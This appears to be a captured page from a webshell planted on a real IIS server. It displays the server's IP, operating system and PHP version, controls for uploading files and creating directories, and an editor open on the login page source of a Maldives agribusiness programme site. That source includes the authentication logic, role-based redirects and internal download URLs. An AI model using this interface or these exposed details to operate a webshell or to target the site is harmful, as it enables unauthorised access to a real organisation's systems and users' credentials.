Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa_bak
/
mapqa
/
Views
/
SignIn
/
Edit File Name :
Index.cshtml
@model RER_Project.DataAccess.ViewModels.Account.SignInInfo @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>MAP | Maldives</title> @Styles.Render("~/Content/css") @Styles.Render("~/font-awesome/css") </head> <style> body { height: 100%; overflow: hidden; background-image: url('/Images/backgroud.jpg'); background-repeat: no-repeat; background-size: cover; } .footer { height: 100%; /* column-count: 2;*/ display: flex; width: 100%; justify-content: space-between; } .footer-ifad { width: 90%; display: flex; justify-content: center; } .footer-powerby { width: auto; justify-content: flex-end; } @@media screen and (max-width: 1024px ) { .footer-ifad { width: 5%; display: flex; justify-content: space-evenly; } .footer-powerby { width: 50%; justify-content: center; } } } </style> <body class="gray-bg"> <div class="middle-box text-center loginscreen animated fadeInDown" style="min-width: 360px;"> <div> <form id="LogInForm" class="form-horizontal"> <img style="height:6em; width:7em" src="~/Images/Ministry of Fisheries.png" /> <h5> Maldives Agribusiness Programme (MAP) </h5> <hr /> @Html.ValidationSummary(true) <div id="eror_msg"></div> @ViewBag.Error_Msg <div class="form-group"> <div class="col-md-12"> <input type="hidden" name="DeviceType" value="PC" /> <input type="text" class="required form-control" name="Email" placeholder="email" /> </div> </div> <div class="form-group"> <div class="col-md-12"> <input type="password" class="required form-control" name="Password" placeholder="password" /> </div> </div> <br /> <div class="form-group"> <div class="col-md-12"> <input type="submit" id="SubmitButton" value="Log In" class="btn btn-primary btn-block" /> @* <a href="/MobileApp/">Download APK</a>*@ </div> </div> @*<div class="form-group"> <div class="col-md-12"> <span style="padding-bottom:4px"> Powered By:</span> <br /> <img width=110 src="~/Images/pathway.png" /> <img width=110 src="~/Images/ifad-logo.jpg" /><br /> </div> </div>*@ </form> </div> </div> <div class="footer" style="height:5em;"> <div class="footer-ifad"> <img src="~/Images/ifad-logo.jpg" class="ifad" style="height: 5em; transform:translate(80px,0px)" /><br /> </div> <div class="footer-powerby"> <span style="padding-bottom:4px; color:black; font-size:10px; "> Powered By:</span> <br /> <img src="~/Images/pathway.png" style="height:2em " /><br /> </div> </div> <div class=" text-center animated fadeInDown" style="max-width: 360px; margin: 0 auto "> <br /> @*<div class="form-group"> <a href="http://rerp.pathway.com.np/Attachments/apk/rerp.apk" target="_blank" class="btn btn-primary btn-block"> <i class="fa fa-download"></i> Download APK </a> </div>*@ <button onclick="downloadAPK()" _target="blank" class="btn btn-primary btn-block"><i class="fa fa-download"></i> Download APK</button> </div> </body> </html> @Scripts.Render("~/bundles/jquery") @Scripts.Render("~/bundles/ajaxform") @Scripts.Render("~/bundles/app") @Scripts.Render("~/bundles/auth") <script type="text/javascript"> window.initializeSelectApis(); $("#SubmitButton").off("click").on("click", function () { debugger function request(model) { const url = "user/sign-in"; const data = JSON.stringify(model); let a = window.getAjaxRequest(url, "POST", data); return a; } const form = $("#LogInForm"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; } $(':input[type="submit"]').prop('disabled', true).val("Authenticating..."); const model = window.serializeForm(form); model.Email = model.Email.trim(); const ajax = request(model); ajax.done(function (response) { if (response) { localStorage.setItem("access_token", response.ClientToken); if (response.RoleId == 8) { window.location = "/female/members"; } else if (response.RoleId == 9) { window.location = "/mrc-mid"; } else if (response.RoleId == 10) { window.location = "/caseregistration"; } else if (response.RoleId == 5 || response.RoleId == 6 || response.RoleId == 7) { window.location = "/groups"; } else if (response.RoleId == 14 || response.RoleId == 12) { window.location = "/groups/supply_chain"; } else if (response.RoleId == 16 || response.RoleId == 11) { window.location = "/cooperatives"; } else if (response.RoleId == 19) { window.location = "/mrc-mid"; } else { window.location = "/dashboard"; @*window.location = "/users";*@ } } else { $("#eror_msg").text("Access is Denied").addClass("text-danger"); } $(':input[type="submit"]').prop('disabled', false).val('Log In') }); ajax.fail(function (xhr) { $("#eror_msg").text("Access is Denied").addClass("text-danger"); $(':input[type="submit"]').prop('disabled', false).val('Log In') }); }) function downloadAPK() { ////window.open( //// 'http://rerptest.pathway.com.np/MobileApp/', //// '_blank' ////); @*window.open( 'http://rerp.pathway.com.np/Attachments/apk/rerptest.apk' );*@ window.open( 'https://qamap.pathway.com.np/Attachments/apk/mapTest.apk' ); } </script>
Save